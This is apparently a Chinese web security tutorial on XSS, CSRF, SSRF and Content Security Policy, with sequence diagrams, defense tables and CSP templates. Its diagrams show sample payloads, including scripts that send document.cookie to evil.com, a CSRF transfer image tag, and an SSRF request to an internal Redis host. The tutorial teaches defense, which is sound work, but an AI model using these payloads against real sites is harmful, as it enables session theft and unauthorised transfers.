    D --> D1["借用服务器网络<br/>访问内网资源"]

    B1 --> B2["防御:输入转义<br/>CSP + HttpOnly"]
    C1 --> C2["防御:CSRF Token<br/>SameSite Cookie"]
    D1 --> D2["防御:URL 白名单<br/>禁止内网访问"]

    style B fill:#ffe6e6
    style C fill:#fff3e6
    style D fill:#e6e6ff
攻击 本质 攻击目标 一句话总结
XSS 在受害者浏览器中执行攻击者的脚本 用户数据(Cookie、表单) 偷内容
CSRF 借用受害者的已认证身份发起请求 用户操作(转账、改密码) 借身份
SSRF 借用服务器的网络位置访问内部资源 内网服务(数据库、管理后台) 借网络

XSS(Cross-Site Scripting)

XSS 攻击的核心是:攻击者的脚本在受害者的浏览器上下文中执行,从而可以访问该页面的 Cookie、DOM、LocalStorage 等。

三种 XSS 类型
类型 存储位置 触发方式 危害范围
存储型 服务器数据库 用户访问包含恶意脚本的页面 所有访问该页面的用户
反射型 URL 参数 用户点击恶意链接 点击链接的用户
DOM 型 客户端 DOM 前端 JavaScript 处理不当 触发条件的用户
存储型 XSS 攻击流程
sequenceDiagram
    participant Attacker as 攻击者
    participant Server as 服务器
    participant Victim as 受害者

    Attacker->>Server: 发表评论:<br/><script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
    Server->>Server: 存入数据库(未转义)

    Victim->>Server: 访问评论页面
    Server-->>Victim: 返回页面(包含恶意脚本)
    Victim->>Victim: 浏览器执行恶意脚本
    Victim->>Attacker: Cookie 被发送到 evil.com
    Attacker->>Attacker: 获取受害者 Cookie<br/>冒充受害者身份
反射型 XSS 攻击流程

反射型 XSS 的恶意脚本不存储在服务器上,而是通过 URL 参数"反射"回页面:

sequenceDiagram
    participant Attacker as 攻击者
    participant Victim as 受害者
    participant Server as 服务器

    Attacker->>Victim: 发送恶意链接<br/>https://search.com?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

    Victim->>Server: 点击链接,访问 URL
    Server->>Server: 将 q 参数值直接拼入 HTML<br/>(未转义)
    Server-->>Victim: 返回页面:<br/>"搜索结果:<script>...</script>"
    Victim->>Victim: 浏览器执行恶意脚本
    Victim->>Attacker: Cookie 被发送到 evil.com

与存储型的区别:反射型 XSS 需要诱导用户点击特定链接,影响范围是单个用户;存储型 XSS 存入数据库后影响所有访问该页面的用户。

DOM 型 XSS

DOM 型 XSS 的特殊之处在于:恶意脚本不经过服务器,完全在客户端 JavaScript 中触发。

sequenceDiagram
    participant Attacker as 攻击者
    participant Victim as 受害者
    participant Browser as 浏览器(客户端)

    Attacker->>Victim: 发送恶意链接<br/>https://app.com/page#<img src=x onerror=alert(document.cookie)>

    Victim->>Browser: 点击链接
    Browser->>Browser: 页面 JS 读取 location.hash<br/>document.getElementById('content').innerHTML = location.hash
    Browser->>Browser: 浏览器解析注入的 HTML<br/>执行 onerror 中的脚本

    Note over Browser: 整个过程不经过服务器<br/>服务器日志中看不到攻击痕迹

典型的危险 API

  • document.innerHTML = userInput
  • document.write(userInput)
  • eval(userInput)
  • setTimeout(userInput, 0)

防御要点:使用 textContent 替代 innerHTML,使用 encodeURIComponent 处理 URL 参数。

XSS 防御措施
防御层 措施 作用
输入层 HTML 实体编码(<&lt; 防止脚本注入
输出层 根据上下文选择编码方式(HTML/JS/URL/CSS) 防止不同上下文的注入
DOM 层 使用 textContent 替代 innerHTML 防止 DOM 型 XSS
Cookie 层 设置 HttpOnly 标志 禁止 JavaScript 读取 Cookie
浏览器层 配置 CSP(Content Security Policy) 限制脚本来源

CSRF(Cross-Site Request Forgery)

CSRF 攻击的核心是:浏览器在发送跨站请求时会自动携带目标站点的 Cookie。攻击者不需要知道 Cookie 的内容,只需要诱导用户的浏览器发起请求。

CSRF 攻击

CSRF 攻击流程
sequenceDiagram
    participant U as 受害者浏览器
    participant Bank as bank.com
    participant Evil as evil.com

    U->>Bank: 登录 bank.com
    Bank-->>U: Set-Cookie: session=abc123

    U->>Evil: 访问 evil.com(被诱导点击)
    Evil-->>U: 返回恶意页面<br/><img src="https://bank.com/transfer?to=attacker&amount=10000">

    Note over U: 浏览器自动携带 bank.com 的 Cookie
    U->>Bank: GET /transfer?to=attacker&amount=10000<br/>Cookie: session=abc123
    Bank->>Bank: 验证 Session → 有效<br/>执行转账
    Bank-->>U: 转账成功
CSRF Token 防御流程
sequenceDiagram
    participant U as 用户浏览器
    participant S as 服务器
    participant E as evil.com

    Note over U,S: 正常请求流程
    U->>S: GET /transfer-form
    S->>S: 生成 CSRF Token<br/>存入 Session
    S-->>U: 返回表单<br/><input type="hidden" name="_csrf" value="token123">

    U->>S: POST /transfer<br/>Cookie: session=abc123<br/>Body: to=friend&amount=100&_csrf=token123
    S->>S: 验证 CSRF Token<br/>Session 中的 Token == 请求中的 Token
    S-->>U: 转账成功

    Note over U,E: CSRF 攻击被拦截
    U->>E: 访问 evil.com
    E-->>U: <form action="bank.com/transfer"><br/>(无法获取 CSRF Token)

    U->>S: POST /transfer<br/>Cookie: session=abc123<br/>Body: to=attacker&amount=10000<br/>(缺少 _csrf 参数)
    S->>S: CSRF Token 验证失败
    S-->>U: 403 Forbidden
CSRF 防御措施
防御措施 原理 适用场景
CSRF Token 服务端生成随机 Token,嵌入表单,提交时验证 传统表单提交
SameSite Cookie 限制 Cookie 在跨站请求中的发送 现代浏览器
检查 Referer/Origin 验证请求来源是否合法 辅助防御
双重 Cookie 将 Token 同时放在 Cookie 和请求参数中 API 场景

SSRF(Server-Side Request Forgery)

SSRF 攻击的核心是:攻击者通过服务器发起请求,访问服务器所在内网的资源。服务器成为攻击者的"跳板"。

SSRF 攻击流程
sequenceDiagram
    participant A as 攻击者
    participant S as 目标服务器
    participant I as 内网服务<br/>(192.168.1.100)

    A->>S: POST /fetch-url<br/>url=http://192.168.1.100:6379/
    Note over S: 服务器在内网中<br/>可以访问内网地址
    S->>I: GET http://192.168.1.100:6379/
    I-->>S: Redis 响应数据
    S-->>A: 返回内网数据

    Note over A: 攻击者获取了<br/>本不可达的内网数据
SSRF 防御措施
防御措施 原理
URL 白名单 只允许访问预定义的域名/IP
禁止内网地址 过滤 10.x.x.x172.16-31.x.x192.168.x.x127.0.0.1
禁止非常用协议 只允许 HTTP/HTTPS,禁止 file://gopher://dict://
DNS 重绑定防护 解析 URL 后验证 IP,防止 DNS 指向内网

记忆锚点:XSS 偷内容靠注入脚本,CSRF 借身份靠自动携带 Cookie,SSRF 借网络靠服务器跳板。

CSP 内容安全策略

核心问题:即使做了输入转义和 HttpOnly,XSS 防御仍可能存在遗漏。能否从浏览器层面建立最后一道防线?

CSP(Content Security Policy,W3C 规范)通过 HTTP 响应头告诉浏览器:只允许加载和执行来自指定来源的资源。即使攻击者成功注入了恶意脚本,浏览器也会拒绝执行。

CSP 工作原理

sequenceDiagram
    participant S as 服务器
    participant B as 浏览器
    participant CDN as cdn.example.com
    participant Evil as evil.com

    S-->>B: HTTP 响应<br/>Content-Security-Policy:<br/>script-src 'self' https://cdn.example.com

    B->>CDN: 加载 https://cdn.example.com/app.js
    CDN-->>B: 返回脚本
    B->>B: 来源在白名单中 → 允许执行

    Note over B: 页面中存在注入的恶意脚本
    B->>B: 发现 <script src="https://evil.com/steal.js">
    B->>B: evil.com 不在白名单中 → 拒绝加载
    B->>S: 发送 CSP 违规报告

GitHub CSP 配置

CSP 指令速查

指令 控制的资源 示例
default-src 所有资源的默认策略 default-src 'self'
script-src JavaScript 脚本 script-src 'self' https://cdn.com
style-src CSS 样式 style-src 'self' 'sha256-xxx'
img-src 图片 img-src * data:
connect-src AJAX/WebSocket/Fetch connect-src 'self' https://api.com
font-src 字体文件 font-src 'self'
frame-src iframe 嵌入 frame-src 'none'
frame-ancestors 允许嵌入本页面的父页面 frame-ancestors 'self'
script-src-elem <script> 元素(CSP Level 3) script-src-elem 'self'

CSP 格式

CSP 值类型

含义 示例
'none' 禁止加载任何资源 script-src 'none'
'self' 仅允许同源资源 script-src 'self'
* 允许任何来源 img-src *
https: 仅允许 HTTPS 资源 img-src https:
'nonce-{value}' 允许携带指定 nonce 的内联脚本 script-src 'nonce-abc123'
'sha256-{hash}' 允许哈希匹配的内联脚本 style-src 'sha256-xxx'
'unsafe-inline' 允许内联脚本/样式(危险) script-src 'unsafe-inline'
'unsafe-eval' 允许 eval() 等危险函数 script-src 'unsafe-eval'

记忆锚点:none 禁止,self 同源, 全开,unsafe 危险。*

实战配置模板

高安全站点(银行)

1
2
3
4
5
6
7
8
9
10
Content-Security-Policy: default-src 'none';
script-src 'self' 'nonce-{{nonce}}';
style-src 'self' 'sha256-{{hash}}';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;

通用业务站点

1
2
3
4
5
Content-Security-Policy: default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' 'sha256-AbCdEf==';
img-src * data:;
frame-ancestors 'self';

违规报告与监控

CSP 提供两种模式:强制模式报告模式

模式 响应头 行为
强制模式 Content-Security-Policy 拦截违规资源 + 发送报告
报告模式 Content-Security-Policy-Report-Only 不拦截,仅发送报告

报告模式适用于:

  • 新站点上线前收集违规情况
  • 逐步收紧 CSP 策略,避免直接阻断业务
  • 监控第三方资源的变化

服务器接收的 JSON 报告示例:

1
2
3
4
5
6
7
8
{
"csp-report": {
"document-uri": "https://example.com/",
"blocked-uri": "https://evil.com/x.js",
"violated-directive": "script-src",
"original-policy": "default-src 'self'; script-src 'self' https://cdn.com"
}
}

记忆锚点:Report-Only 只报告不拦截,强制模式拦截并报告。

实际攻击拦截示例

假设站点配置了以下 CSP 规则:

1
Content-Security-Policy: script-src-elem 'self' https://cdn.jsdelivr.net; report-uri /csp-report;

攻击场景:攻击者在评论框中注入恶意脚本

1
<script src="http://xss.hacker.tools/cookie.js"></script>

拦截结果

  • 浏览器控制台报错:Refused to load http://xss.hacker.tools/cookie.js because it does not appear in the script-src directive of the Content Security Policy.
  • 恶意脚本被拦截,XSS 攻击失败
  • 服务器收到违规报告,可追踪攻击来源

对比:如果没有 CSP,恶意脚本将被执行,攻击者可窃取用户 Cookie。

漏洞占比与 CSP 的重要性

根据 2019-2020 年度漏洞统计数据,XSS 仍是 Web 安全中最常见的漏洞类型之一:

2019-2020年度漏洞占比

CSP 作为浏览器层面的防护机制,可以有效阻断大部分 XSS 攻击,是 Web 安全防护体系的重要组成部分。

记忆锚点:XSS 占比高,CSP 兜底防。

常见误区

  • [错误] CSP 能防 SQL 注入、SSRF → CSP 只在浏览器生效,与后端漏洞无关
  • [错误] 加了 CSP 就不用转义 → CSP 是额外防线,仍需输入输出编码
  • [错误] unsafe-inline 方便 → 等于关掉 XSS 防护,生产环境禁用

<meta> 标签与响应头对比

维度 HTTP 响应头 <meta> 标签
功能完整性 完整 不支持 report-toframe-ancestorssandbox
生效时机 最早(HTTP 层) 解析到 <meta> 时才生效
适用场景 生产环境(推荐) 静态托管、CDN 边缘节点的应急部署
覆盖范围 所有资源 仅当前 HTML 文档

模式速查表

关键词 模式 方案 口诀
HTTP 无状态 载体 + 服务端存储 Cookie + Session Cookie 传 ID,Session 存数据
Cookie 安全 属性控制 六大属性 + SameSite 域路径定范围,三开关定安全
分布式 Session 集中存储 Redis 共享 Session 复制有风暴,粘性怕宕机,Redis 是首选
HTTP 认证 质询-响应 Basic → Digest → Bearer 明文 → 哈希 → 令牌
无状态令牌 自包含 + 签名 JWT 签名防篡改,过期防滥用,签出去收不回来
跨系统免登录 中心化认证 CAS SSO 没 Cookie 就跳转,有 TGC 就签 ST
第三方授权 授权码分离 OAuth 2.0 前端拿 Code,后端换 Token
浏览器隔离 同源策略 SOP + CORS 协议域名端口三元组
脚本注入 输入转义 + 浏览器兜底 编码 + CSP + HttpOnly XSS 偷内容,转义是基础,CSP 是兜底
身份借用 Token 验证 CSRF Token + SameSite CSRF 借身份,Token 来验证
网络穿透 白名单 + 地址过滤 URL 白名单 + 禁内网 SSRF 借网络,白名单来挡
资源加载控制 白名单策略 CSP 脚本管 XSS,frame 管劫持